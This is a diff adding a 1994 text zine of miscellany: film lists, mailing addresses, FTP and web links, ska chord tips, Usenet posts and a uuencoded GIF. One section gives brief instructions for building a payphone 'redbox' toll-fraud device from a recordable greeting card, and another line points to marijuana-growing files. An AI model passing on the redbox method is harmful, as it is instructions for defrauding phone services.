+ + + diff --git a/textfiles.com/magazines/MISC/1.strangeness b/textfiles.com/magazines/MISC/1.strangeness new file mode 100644 index 00000000..885c3f12 --- /dev/null +++ b/textfiles.com/magazines/MISC/1.strangeness @@ -0,0 +1,1813 @@ +welcome to strangeness. + +what you'll find in here: +email addresses, random quotes, gibberish, ftp/web sites, a troma filmography, + how to play ska, build a redbox with hallmark cards, a jackie chan + filmography, + more!!!! + +plus a good hamster gif. +wow. +neat. + + +what follows isn't so much a zine as much just as all the random stuff I've gathered up. I guess I'm a packrat by natureÉ I dunno. Whatever. + Factoids facinate me. + +if anyone out in Netland has any random questions they'd like answered +(or any random facts, etc, to contribute to the heap), just email me. As scary + as it might sound, I like doing research (at least on topics that + interest me). So yeah, send away. + +what follows is a lot of random stuffÉ deal with it however you want. I have + no idea where most of it came from. I'm not bound by any real length + requirements, so... + + + Strangeness + Issue 1 + 10/30/94 + jonathar@gas.uug.arizona.edu + +Sylvester Stallone has charged that, following his Rambo films, he was +exploited by the Reagan and Bush administrations. In a London interview with +Reuters Sunday, Stallone said, "Rambo became a symbol of American +aggressiveness and I became the symbol. I didn't want it. I was no longer an +actor, I was now a symbol for the war machine." + + +g00d email addresses: +askmike@aol.com (Mike Levey) -- of Ask Mike infomercial fame. +mrdensity@aol.com (Mr Density) -- The Mister Density zineÉ dedicated to + crispin glover +postmaster@BADRELIGION.COM (Greg Gaffin) -- hella sell outs :) +WWOR09A@aol.com (WOR News) -- WOR (NY/NY superstation) news dept +dateline@news.nbc.com (Dateline) -- News. +Conanshow@aol.com (Conan) -- Late night talk show stuff +sassy@phantom.com (Sassy) -- the magazine, the myth, the legend +podbox!milhous@cs.utexas.edu -or- kingcoffey@aol.com (King Coffee) -- + of the butthole surfers +knitting@netcom.com -- the knitting factory club/scene/label +76711.271@compuserve.com (Roger Ebert) -- big thumbs up +TVNatn@aol.com (TV Nation) +foxnet@delphi.com (FOX) -- heyÉdoesn't rupert murdoch own both FOX and delphi? + + + chuck manson + #833920 + box 3456 + corcoran, ca + 93212 + +--- + +alt.cult-movies #58148 (1 + 156 more) (1)+-[2] +From: Kevin Martinez \-[1] +[2] Troma film list, was: Toxic Avenger/Class of Nuk'm High +Nntp-Posting-User: lps +Organization: a2i network +Date: Sat Oct 15 21:23:03 MST 1994 +Lines: 239 + +v5s4@UNBSJ.CA (CHRIS C. TESINK) writes: + +> I loved the Toxic Avenger series and the Class of Nuk'm High movies, +>and i was just wondering if anyone could tell me what other movies the +>directors, Michael hertz, or something like that and some other guy. Have +>put out. And are they worth renting? Thanks in advance. + +Here's my list I made last year. Some of these films (Ferocious Female +Freedom Fighters..) weren't made by Troma but changed by them (FFFF has a +new soundtrack. You'll love it or hate it. Instantly). + +As for if they are worth watching, only you can be the judge of that! + +------ + +Known Troma Films 7-93: + +Adventure of the Action Hunters + +Battle of Loves Return + +Blades + + Blurb: Just when you Thought it was Safe to Putt! + +Blood Hook + +Bloodsucking Freaks + +Capture of Bigfoot + +Chillers + +Chopper Chicks in Zombietown + +Class of Nuke'Em High + + Blurb: Readin'É Writin' and Radiation! + +Class of Nuke'Em High II: Subhumanoid Meltdown + +Combat Shock + +Croaked - Frog Monster From Hell + +Cry Uncle + +Curse of the Cannibal Confederates + +The Dark Side of Midnight + +Dead Dudes in the House + +Deadly Daphne's Revenge + +Death to the Pee Wee Squad + +Def by Temptation + + Blurb: She's every mans dreamÉ and your worst nightmare! + +Demented Death Farm Massacre + +Dialing for Dingbats + +Dreams Come True + +East End Hustle + +Ellie + +Evil Clutch + + Blurb: The Nightmare that Grabs you Where you least expect it! + +Fat Guy Goes Nutzoid + + Blurb: He's all actionÉ He's all manÉ He's all over the place! + +Feelin' Up + +Ferocious Female Freedom Fighters + +Ferocious Female Freedom Fighters Part II + +Fertilize the Blaspheming Bombshell + +The First Turn On + + Blurb: Can you think of a better reason for going to summer camp? + +Fortress of Amerikkka + + Blurb: Where the Brave Must Fight to be Free! + +Frostbiter: Wrath of the Wendingo + +Girls School Screamers + +G.I. Executioner + +The Good, the Bad and the Subhumanoid: Nuke'Em High III + +Haunting Fear + +Hollywood Zap + +Hot Summer in Barefoot County + +Hunted to Death + +I Married a Vampire + +I was a Teenage T.V. Terrorist + +Igor and the Lunatics + +The Love Thrill Murders + +Lust for Freedom + +Monster in the Closet + +Nerds of a Feather + +Nightmare Weekend + +A Nymphoid Barbarian in Dinosaur Hell + +Ocean Drive Weekend + +Play Dead + +Preacherman + +Rabid Grannies + + Blurb: They love their grandchildrenÉ Well Done! + +Rebel Love + +Recorded Live + +Redneck Zombies + +Rockin' Roadtrip + +Scoring + +Scream Baby Scream + +Screamplay (B&W) + +Sgt. Kabukiman N.Y.P.D. + Is this out anywhere but Japan yet? + +Shadows Run Black + +Sizzle Beach, U.S.A. + The movie that made Kevin Costner a star! + +Squeeze Play + +The Stabilizer + +Star Worms II: Attack of the Pleasure Pods + +Story of a Junkie + +Strangest Dreams: Invasion of the Space Preachers + +Stuck on You + + Blurb: You'll come Unglued with laughter! + +Student Confidential + +Stuff Stephanie in the Incinerator + +Sugar Cookies + +Surf Nazis Must Die + +That's My Baby + +They Call Me Macho Woman + +The Toxic Avenger + + Blurb: He was 98 lbs. of solid nerd until he becameÉ + The first Super-Hero from New Jersey! + + Blurb II: A different kind of hero! + +The Toxic Avenger: Part II + + Blurb: Ol' Goo Eyes is Back! + +The Toxic Avenger III: The Last Temptation of Toxie + +Troma's War + +Trucker's Woman + +Vegas in Space + +Video Demons do Psychotown + +Video Vixens + + Blurb: All the ActionÉ Without switching Channels + + Blurb II: The wildest video contest ever. + +Waitress + +The Wedding Party + +When Nature Calls + +White Elephant: Battle of the African Ghosts + +Wildrose + +Wizards of the Demon Sword + +Zombie Island Massacre +(with Rita Jenrette) + Blurb: Have a fun filled vacation of Terror, Torture and Death! + +-------------- + + Hopefully this format isn't too obnoxious. + +______________ + + +#9.1 Dictionaries (word lists from the net) + + Some of this information seems outdated. Please use archie if you + experience problems and let me know of any changes. + + = gopher = + + There are online dictionaries available via gopher, eg: + gopher.tu-chemnitz.de: "Weitere lokale Infos (Woerterbuch)" +# (last time checked ok: 01/31/94) + gopher gopher.informatik.tu-muenchen.de 70 +# (couldn't access -- ??? still alive ???) + 20. ISAR Gopher/ 14. Services/ 13. Englisches Woerterbuch + + + = ftp = + + German word lists and German-English dictionaries are available via + FTP from the sites listed below. + +# Always assume use the following, unless stated otherwise; +# login: anonymous +# password: + + for people in EUROPE É + ___site___ ___directory___ + ftp.informatik.tu-muenchen.de /pub/doc/dict +# Couldn't loginÉ ??? still alive ??? + ftp.uni-kl.de /pub2/packages/doc.tum/dict +# (last time checked ok: 01/31/94) + ftp.th-darmstadt.de /pub/dicts/German +# (last time checked ok: 01/31/94) + ftp.uni-muenster.de /pub/dict/German +# (last time checked ok: 01/31/94) +# nestroy.wu-wien.ac.at /pub/lib/info/dict +# (last time checked ok: 01/31/94) +# mailserv.zdv.uni-tuebingen.de /public +# (last time checked ok: 01/31/94) + + and, for people WEST OF THE ATLANTICÉ + ___site___ ___directory___ + arthur.cs.purdue.edu /pub/pcert/dict/German/ftp.informatik.tu-meunchen.de + + +------- +sprechen sie deutsch? +Ich habe deutsch nicht gern. + + +gurken +___________ + + -NNTP News Servers telnet vaxc.cc.monash.edu.au 119 or 130.194.1.23 119 + telnet munnari.oz.au 119 or 128.250.1.21 119 (AUSSI) + telnet etl.go.jp 119 or 192.31.197.33 119 (JAPAN) + telnet news.fu-berlin.de 119 (GERMANY) + offers: Post to Usenet news via telnet. (Type HELP after connecting) + +The CyberDen + +Current CyberLink address directory as of August 20th, 1994 + + Record Labels [Majors and Indies] + --------------------------------- + Anubis Recordings anubis@cyberden.com + Cleopatra Records cleopatra@cyberden.com +* Charnel Music Charnel_Music@cyberden.com + Astralwerks Records astralwerks@cyberden.com + World Domination Records mr.suit@cyberden.com + 21st Circuitry Records 21st.circuitry@cyberden.com + Neverland Records vlad@cyberden.com + + 'Zines + ------ + Nexus 6 n6@cyberden.com + Drazil E-Zine liz.ard@cyberden.com + QrM E-Zine qrm@cyberden.com + Chaos Control E-Zine rsgour@cyberden.com + + Bands + ----- + Xorcist xorcist@cyberden.com + chemlab chemlink@cyberden.com + Mephisto Walz mephisto@cyberden.com + Switchblade Symphony neurotic@cyberden.com + the bleeding stone trolloc@cyberden.com + Retina cchriss@cyberden.com +* Greg Ginn greg_ginn@cyberden.com +* Insight 23 perception_rek@cyberden.com + +_--_______ +I knowÉ Its a promo thing. +I still think it's interesting. + +___________ + + +FTP g00dness (no, I haven't checked all these so I dunno what's up with 'em) + +ftp.netcom.com/pub/caddy/movies/ReservoirDogs + -reservoir dogs stuff + +ftp.infonet.net /showcase/agency/marulyn + /showcase/agency/marilyn + - marilyn munroe gifs + +fnovhtu.tu-graz.ac.at (129.27.203.150) +/UNIX/PUB/TASTELES + - alt.tasteless FTP site. + +155.198.1.40 +ftp://ftp.doc.ic.ac.uk/public/media/tv/collections/tardis/us/drama/ +RealWorldThe/ + - the real world info + + +wiretap.spies.com +/game_archive/ + --- Rec.Games.Video.Arcade file servers ! + + +ftp ftp.hmc.edu +/pub/drugs/marihuana/growers + -- you figure it out + +ftp.intac.com:/pub/intac/users/starman + --- the OFFICIAL movie goofs list ftp site + + +Check out atari.archive.umich.edu - a great FTP site for 2600 tech +info. + +ftp.uu.net /usenet/rec.arts.tv and sub-directories for popular shows + + +ftp.doc.ic.ac.uk /public/media/tv/collections/tardis. lots of good tv stuff + +---- +Blue Phantom is an anonymous uploader. The BP may be contacted +via a blank freenet account. Mail may be sent to bjen@cybernet.cse.fau.edu + +Requests are OK. Begging is not, and there is a difference. +---- + +how to play ska (sort of) I can't remember where I found any of this: + +It doesn't really matter too much what key you play, so the A-G-D +progression I mentioned, and the G-F progression that was also +mentioned. The main thing is getting the actual progression right, and +the key doesn't matter too much--just transpose. So the progression +would be (assuming that I'm right) I chord-Flatted 7th-IV Chord. + +++++++++++ + +HmmmmmÉ. + + Looks like there aren't any ska guitar experts around, but I think +maybe I can help. I'm not much of a guitarist, but I can play ska fine. +Mostly I find that as long as you stick to using the barred E, and the +BArred A, you can sound out most ska songs pretty easy. About 90% of +the ska songshave progressions that can be found within these four +chords: start at a Barred E(umm, try at the 5th fret), then move 2 +frets up(towards the end of the neck), then switch to the Barred A form, +then move back down two frets. too bad i don't know note names.. to make +this easier, we'll call the first chord 1, the second 2, etc.. + +So here are some songs. Respond to me if this makes no sense. + +Specials + +Little Bitch: 1 1 1 1 4 4 4 4 (each number stands for up *and* down) + +Too Much Too Young: 1 1 2 2 3 3 4 4 + +Operation IVy: + +sound system: 1 1 2 2 4 4 4 4 + +Hmmm, well, maybe you'll get the basic idea out of this mess and figure the +res tout yourself? I'd hate to just hand *Everything* to you. + + + + + MONKEY MAN, SKA Music News and Reviews + +To subscribe send a message to + eisner@primate.wisc.edu + +To make things easier please include this in the body of your mail: + + subscribe your@email.name.edu + +_____- +blah +-----_ + +make a redbox with hallmark recordable cardsÉ. + + +Well, here's what I did: + +1) Rip off the actual card, get to the plastic frame and components inside. +2) separate the components from the frame. +3) If you want to use the batteries that come with, just cut the holder +away from the frame. +4) Find some kind of enclosure that you can mount the components in. Be +creative. I used part of an old phone handset. +5) stick it together, record the tones, and use. + +Now. The speaker that comes with the card is crap, IMHO. Use part of your +headphones, or better yet pull the speaker out of the earpiece of a +phone. + +The microphone is also a bit weird, and not very good. I just cut the +wires from the piezo that was included and wired them straight into the +speaker, which doubles as a handy mic. I'm sure the impedances are +mismatched, and I'll probably suffer for this down the line in some way, +but it works. *Shrug* + +I also added a 1/8" jack for a line in / line out feature. Don't jack +your walkman straight into this. Line level is definitely too high for +the mic input. You'll need some kind of adapter. I believe someone +mentioned in a past post that Radio Shat sells cables to match line level +to mic level impedances. + +I dunno. It shouldn't be that hard to figure out, honestly. There aren't +that many parts. Be creative. Have fun. Learn how to use a soldering iron +on small things without toasting your hair. + + + +[1] INTRRR NRRRD WWW E-ZINE IS UP. Be afraid. Be Very Afraid. ++ 8) +Date: Tue Aug 23 23:19:15 MST 1994 +Organization: Michigan State University +Lines: 43 +X-Posted-From: InterNews 1.0.1@35.8.188.234 +Xdisclaimer: No attempt was made to authenticate the sender's name. + +Just when you thought it was safeÉ. + +INTRRR NRRRD is now online! +"So what," you say. "I don't even know what it is. Uhhhh.. What +*IS* it, anyways?" + +Glad you sort of forcefully asked. Its an electronic magazine, or +"e-zine" dedicated to "punk" lifestyle, Do-It-Yourself Culture, and +technology. Its NOT just a "ooh, here's my homepage with a crapload of +links to other useless places." This isn't an Internet photo album for +the bored. This is activity. + +We're going to be having monthly columnists (no, nobody famous like +Mykel Board or Larry Livermore YET) as well as areas for people to +submit artwork (in GIF form), audio samples of their bands and projects +(in Sun-AU form) and written articles, opinions and such (via e-mail). + + +People can send things to me via "Snail Mail" as well (as in United +States Postal Service), and I can scan and digitize audio files when +they get to my liiiittle mailbox at my apartment. All the addresses +are on the site. + +Theres also "NrrrdNet"- an area that links up sites that have the +Do-It-Yourself (DIY) ideal in mind. Most of these people are very +involved in zines, their bands, and even own record labels. +'Wooowww," you gasp. "How cool." Networking is the key. + +Anyways, if you are interested in looking, connect with Mosaic or any +other WWW browser to: + file://etext.archive.umich.edu/pub/Zines/Intrrr.Nrrrd/intrrr.html + + + +___--- +Female cheerleaders are cute, sexy, fresh, and all-American. +Male cheerleaders are scary. + +---____ + + +The first three issues of phrack are available on www at lysator. +You will find it under various interesting text at: +http://www.lysator.liu.se:7500/ + +Type=1+ +Name=ASCII Clipart Collection +Path=1/Art and Images/ClipArt (ASCII) +Host=gopher.cs.ttu.edu + + + + +Klaatu, + Barada, Nikto + + + + +_--_ +WHY O. J. IS DEFINITELY INNOCENT + +I have come to the very easy conclusion that O. J. Simpson is innocent of the +crimes that he has been charged with. How can this be, you may ask, +considering all of the evidence that has been mounting against him? The answer +is simple: He is a sports hero. + +You see, I do not think of sports heroes like I do you average double murderer. +When I am dealing with a defendant who holds the all-time rushing record, I am +prone to look at the evidence with a rather biased perspective. + +This is because all that I know of O. J. is through the public eye. I knew +nothing of his prior troubles with beating up his wife, and when I do find out +about them, I realize that they by no means prove his guilt. After all, this +is a man who Ive always seen smiling, whether it be on a Hertz commercial, +Saturday Night Live or the Naked Gun movies. + +So how could he possibly be anything but a perfect person? I am able to judge +his character from watching him play football, and let me tell you, he is no +murderer. His run from the police and threatened suicide when he knew that he +was going to be caught were obviously done out of panic. Surely the actions of +an innocent man. All of this overwhelming evidence, the matching bloody glove, +the blood stains, and so on, merely prove that O. J. was framed. + +I cannot destroy the image that I have of O. J. Simpson as a public hero, and +will not tolerate any suggestions that he may have done anything wrong. From +now on, whenever any new evidence is introduced, I will make the assumption +that the evidence is not convincing, and then somehow justify my assumption. + +So therefore, I am easily able to come to the conclusion that his son did it. +Definitely. + +------ +I dunno. I watched the o.j. fiesta grande on TV LIVE, as it happennedÉ. and I'm not sure what to think. I really dig conspiracy theories, so I had to throw this in there. + now back to your regularly scheduled program +------ + + + +WWW stuff: + +http://iris3.carb.nist.gov:8000/pub/ram/music/primus/primus.html + -primus + +http://www.dsv.su.se/~petter-s/music.html + --- kp's music page. Links to lots of g00d stuff like band info etc. check it + out + +try http://www.ccs.neu.edu/home/ray/midnight/midnight.html + -- some band called Midnight Coil's site. HmmmÉ + + "Like the violent and crashing sounds of the ocean, Midnight Call's sound + is very recognizable." - Kathy Tibbitts, Northeastern News + +http://www.galcit.caltech.edu/~ta/creative.html + -- The Creative Internet Page. YOU MUST SEE THIS! + + +http://crca-www.ucsd.edu/TajMahal/after.html + --- In MPEG stereo where available. alternative music + ???? + + +Cult movies http://www.public.iastate.edu/~abormann/ +Pulp Fiction http://www.musicbase.co.uk/movie/pulp/contents.html +Star Wars: http://www.wpi.edu:8080/ftp/starwars +Evil Dead/AOD: http://b62528.student.cwru.edu/home.html +Q. Tarantino: http://www.nvg.unit.no/~eddie/tarantino.html +Natural Born Killers: http://crimelab.com/NBK.html +Reservoir Dogs: http://colargol.edb.tih.no/~kennetha/dogs.html +Blade Runner: http://kzsu.stanford.edu/uwi/br/off-world.html +John Woo http://panacea.library.ucsb.edu/~jkoga/jw_gallery.html + +Forbidden Planet (Sci-fi movies,etc.) +http://www.maths.tcd.ie/mmm/ReviewsFromTheForbiddenPlanet.html + +Cardiff's Movie Database (absolute BEST for movies!) +http://www.msstate.edu/Movies/ + +Hong Kong Movies +http://www.mdstud.chalmers.se/hkmovie + +Asian Movies +http://www.seas.upenn.edu/~luwang/homepage.html + + +http://www.ee.pdx.edu/~caseyh + -- The Hellraiser Page + + +http://www.elmail.co.uk/music/pwei/pweipage.html/ + -- Pop Will Eat Itself + +---____ +Since the new Ween album, Chocolate and Cheese, came out on double vinyl +on Grand Royal Records, it earned an entry at the Grand Royal WWW site. + +It's there, including all it's controversial cover art, complete with +links to the lyrics at Captain Sarcastic's site. + +The Grand Royal WWW Site is within the Music Kitchen, which lives at the +URL: + + http://www.nando.net/music/gm/ + +Captain Sarcastic's site + http://nyx10.cs.du.edu:8001/~kkoller + +----____ +I guess you could call ween my favorite bandÉ +--- + +If you're into ambient techno along the lines of FSOL, you should check +out the Violet Arcana home page at http://www.teleport.com/~arcana + +There's lots of sounds and graphicsÉnewsÉand interesting tidbits. + +In the "Arcana Web" you'll find the ::Cat Compilation:: home page--a CD +compilation featuring such artists as Information Society, Anything Box, +Channel 69,& T-42. You'll also find a cool list of other music related web +pages (including the Willard E. Love home page for REALLY amazing rave +flyers!). + + +If you publish a zine, do you: + + . Do Web Site Reviews? + . Print Web Server Announcements? + . Consider Web Site Press Releases for print? + . Write articles on "Interesting Web Sites"? + +If so, our company publishes a Web Site and a complementary Web Service +which I hope will be of interest to you and your publication. + +Following is our "press release": +****************************************************************************** +10/10/94 Salt Lake City, Utah + +AmeriCom Long Distance, a leading reseller of competitive International +and Domestic Long Distance Service, is proud to announce the AREA DECODER: + +A Complementary World Wide Area-Code, City-Code, Country-Code Lookup Server. + + . Find Area-Code by City, State or Country + . Find City, State or Country by Area-Code + . Find Codes for Over 75,000 Cities World Wide + +To LOOKUP AN AREA CODE anywhere in the world (or for information about low +cost International/Domestic long distance), visit the AmeriCom Web Site at: + + http://www.xmission.com/~americom/ + +Request information on discount Domestic and International long distance +service by e-mail at: info@AmeriCom.com, or call (800) 955-9385. + + +_____ +don't ask me why this exists (the americom thing, that is). I don't know. +_____ + +NETTWERK'S ONLINE WORLD + +We are pleased to announce that we have set up a Nettwerk World +Wide Web home page. We have included GIFs, sound bites, and +text such as bios, catalogues, tour dates and newsletters. +Right now we have pages for Sarah McLachlan, Ginger, Brainbox, +Single Gun Theory, Delerium, The Rose Chronicles, Papa Brittle, +P.O.W.E.R., and Itch. We will be adding to and changing these +pages regularly. + +The URL is: http://www.wimsey.com/nettwerk/ + + +--------- +this is a good thing. +entire songs available over the web for freeÉ. sighÉ if only I had a faster modem. + + +WEB: http://www.iuma.com/IUMA/ +FTP: ftp.iuma.com +Gopher: gopher.iuma.com + +via the web you can jump to our mirror sites to go to one which +is quickest for you. if you wish to ftp/gopher to one of the other +ones directly, their addresses are: + +North Carolina: WEB: http://sunsite.unc.edu/ianc/ +FTP: sunsite.unc.edu:/pub/electronic-publications/IUMA Gopher: +sunsite.unc.edu, worlds of sunsite/IUMA London: +WEB: http://www.southern.com/IUMA +FTP: www.southern.com:/IUMA + +The music is compressed. For PC/Mac use the MPEG compression. +(*.mp2) In order to play the song on your computer you'll need +the software. You can find that at: +http://www.iuma.com/IUMA/html/use/song-play.html + + +http://www.mps.ohio-state.edu/cgi-bin/hpp?bigfo + --- The official Alt Dot Bigfoot WWW site. + is there an unofficial one? HmmmÉ lots of strangeness to be found here. + +I am pleased to announce the Freakshow Homepage on the Net! It is still under +construction, and I have a lot to add. But a few exhibits are in place now. +Use your favorite web browser and go to: http://www.acsu.buffalo.edu/~denis +Send me some mail and let me know what you think. I would love to know +if you have anything to add! +Dave + + +----- + +>Puck appeared on a local (SF Bay Area) TV show this morning +>for an extremely brief interview. At the end of the segment, +>as they were starting to go to commercial, Puck asked if he +>could give his P.O. box number so people could write to him +>(PO Box 117115, Burlingame, CA 94011). +-------- + + +From: hannam@waikato.ac.nz +[1] Another Jackie Chan fan +Date: Sun Aug 14 15:44:23 MST 1994 +Organization: University of Waikato, Hamilton, New Zealand +Lines: 82 + +Hi, + for all those other Jackie Chan fans out there here is his +filmography. It may not be 100% accurate but it is better than nothing. + +JACKIE CHAN FILMOGRAPHY + +Credits : D = director, W = writer, P = producer. A = US Production + + YEAR D W P +Master with Cracked Fingers 1971 + / Little Tiger from Canton +Karate Bomber 197? +Hand of Death 1975 + / Countdown in Kung Fu +New Fist of Fury 1976 +Shaolin Chamber of Death + / Shaolin Wooden Men 1976 +Killer Meteors 1977 + / Jackie Chan versus Wang Yu +Snake-Crane Art of Shaolin 1977 +To Kill with Intrigue 1977 +Half a Loaf of Kung Fu 1977 +Eagle Shadow Fist 1977 +Magnificent Bodyguards 1978 +Spiritual Kung Fu 1978 + /Karate Ghostbuster +Dragon Fist 1978 +Snake in the Eagle's Shadow 1978 * + / The Eagle's Shadow +Drunken Master 1979 * + / Drunken Monkey in the Tiger's Eyes +Fantasy Mission Force 1979 +Fearless Hyena 1979 * * +Fearless Hyena II 1980 +Young Master, The 1980 * * +Battle Creek Brawl 1980A + / Big Brawl, The +Dragon Lord 1982 * * * +Winners & Sinners 1983 +Project A 1983 * * * +Wheels on Meals 1984 +Protector, The 1985A +First Mission, The 1985 + / Heart of the Dragon +My Lucky Stars 1985 +Twinkle Twinkle Lucky Stars 1985 +Police Story 1985 * * * + / Police Force +Armour of God, The 1986 * * * +Dragons Forever 1986 +Project A Part II 1987 * * * +Police Story II 1988 * * * +Mr. Canton and Lady Rose 1989 * * * +Operation Condor - Armour of God Part II 1991 * * * +Island of Fire 1991 +Twin Dragons 1992 +Police Story III: Super Cop 1992 +City Hunter 1992 +Crime Story 1993 +Drunken Master 2 1993 + + +Other movies with only minor roles in : +Cannonball Run, The 1981A +Kung Fu Girl 1983 +Cannonball Run Part II, The 1983A +Two in a Black Belt 1984 +Ninja Wars 1985 +Project S 1993 + +Note: The first title given is generally the New Zealand release titles. Other + titles are known alternatives. + +I myself have only seen about 25 of these movies all of them being dubbed +releases only. Generally all movies of his after PROJECT A (which is my +favourite) are good. Movies prior to this are all mostly "Avenge My Master" +which are for die hard fans only. I hope this guide helps. + + + ++=-+=-+=- +CHECK OUT== OUT OF BAND EXPERIENCE-WACKO ALIEN NYMPHO SOUND ORGY + OR KINGS OF FEEDBACK-Industrial Blues SLACK SludGE Noise ROCK +CALL 1-(617) LICK OBE or E-Mail= LickOBE617aol.com OR +WRITE TO: OBE-KOF-BTM==BOX 221==BOSTON, MA 02123 USA + FOR "FREE GIFT" STICKERS AND INFO ABOUT CD/VINYL/TAPES-ETC. +RANDOMLY SELECTED RESPONSES MAY RECEIVE THE NEW +OBE-KOF CD "OPEN YOUR EARS"!!!!! PRAISE BOB-STAY SLACK! + + +rec.arts.tv.mst3k #6083 (0 + 727 more) [1] +From: mneylon@lem.engin.umich.edu (Michael K. Neylon) +Newsgroups: alt.tv.mst3k,rec.arts.tv.mst3k +[1] Who's this Joel guy? READ B4 you post! +Date: Sat Aug 06 18:15:57 MST 1994 +Organization: University of Michigan Engineering, Ann Arbor +Lines: 30 +Distribution: world +X-Newsreader: TIN [version 1.2 PL2] + +Just so that we can keep the number of messages down, please read +further if you were confused about this week's MSTÉ + +Who's this guy, Joel? What happened to Mike? + +For those of you new to MST3K, Joel was the original host during +the first 4.5 seasons of the show. (He was also the +original writer and producer of it as well, and the main +creative force for MST3K). In the episode 'Mitchell', Joel +escapes from the SOL, and makes his way to Earth (ending up +somewhere in the Australian outback) (In real life, Joel +Hodgson took a hiatus from the show to work on the very +short lived 'Paula Poundstone Show'..any possiblity of his +returning to the show is unknown at this time). The Mads +were of course upset at this, and thus, they show Mike up to +the SoL (who was, as the NEW title credits say, a temp for +the Mads). And since then, Mike is the new host. + +PLEASE DON'T POST THIS QUESTION TO EITHER GROUP! If you +would like to have further information, then thats fine, +but there have been too many 'Who's the new guy?' threads in +the past to kill someone withÉ + +Just a friendly reminderÉ + +Date: Sun Aug 07 20:37:45 MST 1994 \-(1) +From: Cary_Gordon@vine.org (Cary Gordon) -[1] +Organization: The Vine - The Entertainment Industry On +[1] Re: How do you make dry ice fog? +Distribution: world +Lines: 15 + +In an article, Steve Collins writes: + +>I want to build a dry ice fog machine for a production I am working on. +>Has anyone built one before or know how they work? + +All you need is a 30 gallon steel drum with a removable or hinged top, three +1500 watt hot water heater elements, a 150-300 cfm squirrel cage blower, a +basket for the dry ice and a mechanism to raise and lower the ice. Also +you'll need appropriate breakers, boxes switches, hoses, some kind of dolly +to move the thing around and about a ton of RTV. + +Personally, I just rent them (although I did build one once--never again). + ++++++ + +___________ + +ugh. +it's time for me to go now. +i need to know what you think of all this. + + + + + @@@@@@@@@@@@@@ @@ @ @ + @@@ @@@@ @@@ @@@@@@@@@@ @@ @ @ + @@@ @@@@ @@@@@ @@ @@ @ @ @ + @@@ @@@@ @@@@@@ @@ @@ @ @@ @@ @@@@ @ @ + @@@ @@@@ @@ @@ @@ @@ @@ @@ @@ @@@@ @@ @@@ + @@@ @@@@ @@ @@ @@ @@ @@ @@ @@ @@ @ @@ @@@ + @@@ @@@@ @@ @@ @@ @@ @@ @@ @@ @ @ @@ @@@ + @@@ @@@@ @@ @@ @@ @@ @@@ @@ @@ @ @@ @@@ + @@@ @@@ @@ @@ @@ @@ @@@ @@ @@ @@@ @@ @@@ + @@@ @@@ @@ @@ @@ @@ @@@ @@ @@ @@@ @@ @@@ + @@@ @@@ @@ @@ @@ @@ @@@ @@ @@ @@@@ @@ @@@ + @@@ @@@ @@ @@ @@ @@ @@@@@@ @@ @@ @ @@ @ @ + @@@ @@@@ @@ @@ @@ @@ @@@@@@ @@ @@ @ @@ @ @ + @@@ @@@@ @@ @@ @@ @@ @@@@@@ @@ @@ @ @@ @ @ + @@@@ @@@@ @@ @@ @@ @@ @@@@@@ @@ @@ @ @@ @ @ + @@@@ @@@@ @@ @@ @@ @@ @@ @@@ @@ @@ @ @@ @ @ + @@@@ @@@@ @@ @@ @@ @@ @@ @@@ @@ @@@@ @@ + @@@@ @@@@ @@ @@ @@ @@ @@ @@@ @@ @@@@ @@ @ + @@@@ @@@@ @@ @@ @@ @@ @@ @@@ @@ @@@@ @@ + @@@@@@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@@ + @@@@@@@@@@ @@ @@ @@ @@ @@ @@ @@ @ @@@ + @@@@@@@@@@ @@@@@@ @@@@@@ @@ @@ @ @@ @@@ + @@@@@@@@@@ @@@@@@ @@@@@@ @@ @ @@ @@ @@@ + @@@@@@@@@@ @@@@ @@@@ @@ @@@ @@ @@@ + @@@@@@@@@@ @@@ @@ @@@ + @@@@@@@@@@ @@@@ @@@ @@ @@@ + @@@@@@@@@@@ @@@@ @@@@@@ @@@ @@ @@@ + @@@ @@@ @@@ @@@@@@ @@@@@@@@ @@@ @@@@@@ + @@@ @@@ @@@ @@@@@@@ @@@@ @@@ @@@@@@@@@ + @@@ @@@ @@@ @@@@@@@@ @@@ @@@ @@@@@@@@@ + @@@ @@@ @@@@ @@@@@@@@ @@@ @@@ @@@@@@@@@ + @@@ @@@ @@@@ @@@ @@@@ @@@ @@@ @@@@@@@@@ + @@@ @@@@ @@@ @@@ @@@ @@@@@@@@@ @@@@@@@@@ + @@@ @@@@ @@@@ @@@ @@@ @@@@@@@@@ @@@@ @@@@ + @@@ @@@@ @@@@ @@@ @@@ @@@@@@@@@ @@@@ @@@@ + @@@@ @@@@ @@@ @@@ @@@ @@@ @@@@ @@@@ + @@@@ @@@@ @@@ @@@ @@@ @@@ @@@ @@@@ @@@@ + @@@@ @@@@ @@@ @@@ @@@ @@@ @@@ @@@@ @@@@ + @@@@ @@@@ @@@@ @@@ @@@@ @@@ @@@ @@@ @@@ + @@@@ @@@@ @@@ @@@@@@@@@ @@@@ @@@@ @@@ @@@ + @@@@@ @@@@ @@@@ @@@@@@@@ @@@@@@@@ @@ @@ + @@@@@ @@@@ @@@@ @@@@@@@@ @@@@@@@ @@ @@ + @@@@@ @@@ @@@@ @@@@@@@ @@@@@@ @@ @@ + @@@@@ @@@ @@@@ @@@@@ @@@@ @@ @@ + + + + + +begin 644 hamster1.uue +M1TE&.#=A0 '( )< ! 0$! 0(" 0(! @$! @(! @," @$" @(" @,! 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MCFDO3 +M2@>L %$8ACR(IU>%BJC1E3;.]BXJEYH +MA=\S-GEJ3I+3BNQKHKBKGH)0O>@)+-[_H5:1:Y'!9&>!V(E,8P%8^!#;,F8. +M;2BA:;%6/8+E9=V@X="F@!5DBV&;*Z3%1-+MY$6ZR-\/-)SY)BCN@BOT$K"$ +M;(IQ[6WE3B1$11:9=;:M)+SJT3E8T>:/Y9F_$T6U_"_)>0@^ZYFWE>H +M@1X *[2 <95AA8 ,+GG2(Y<6Y-!X(-X@H$J^8JWY#1/3(JVD\IDTT,"G&B- +M&%>'SB?(F>8:0? 8QF?G:+Q@9BT)*V()AFX;0V +MR$8I"XNI;(,J_Y"0%",L2LF3[>"C"J/5H]2(^ZP4:@,NUBC"0!>UH,"110_: +MJ%5>8V:!EQN:7KL;?NP#0H"%ULMC*]JSU+P?>7J^4L&*I?U='%JOV:'DAK1/ +M 9BF[4&8*C %ZK;IHYGT-3C* 8"]&QLRBT1J:MA2(6,8?6.X +M F,0H*15JU%\3^++R00<@S80;I@O?8 RRCPP!O1D=ODP!G!-HG?=[G +M?1<@?<(0_N'3"-X?8%>K M+7Q^?/ >&O -+_WS 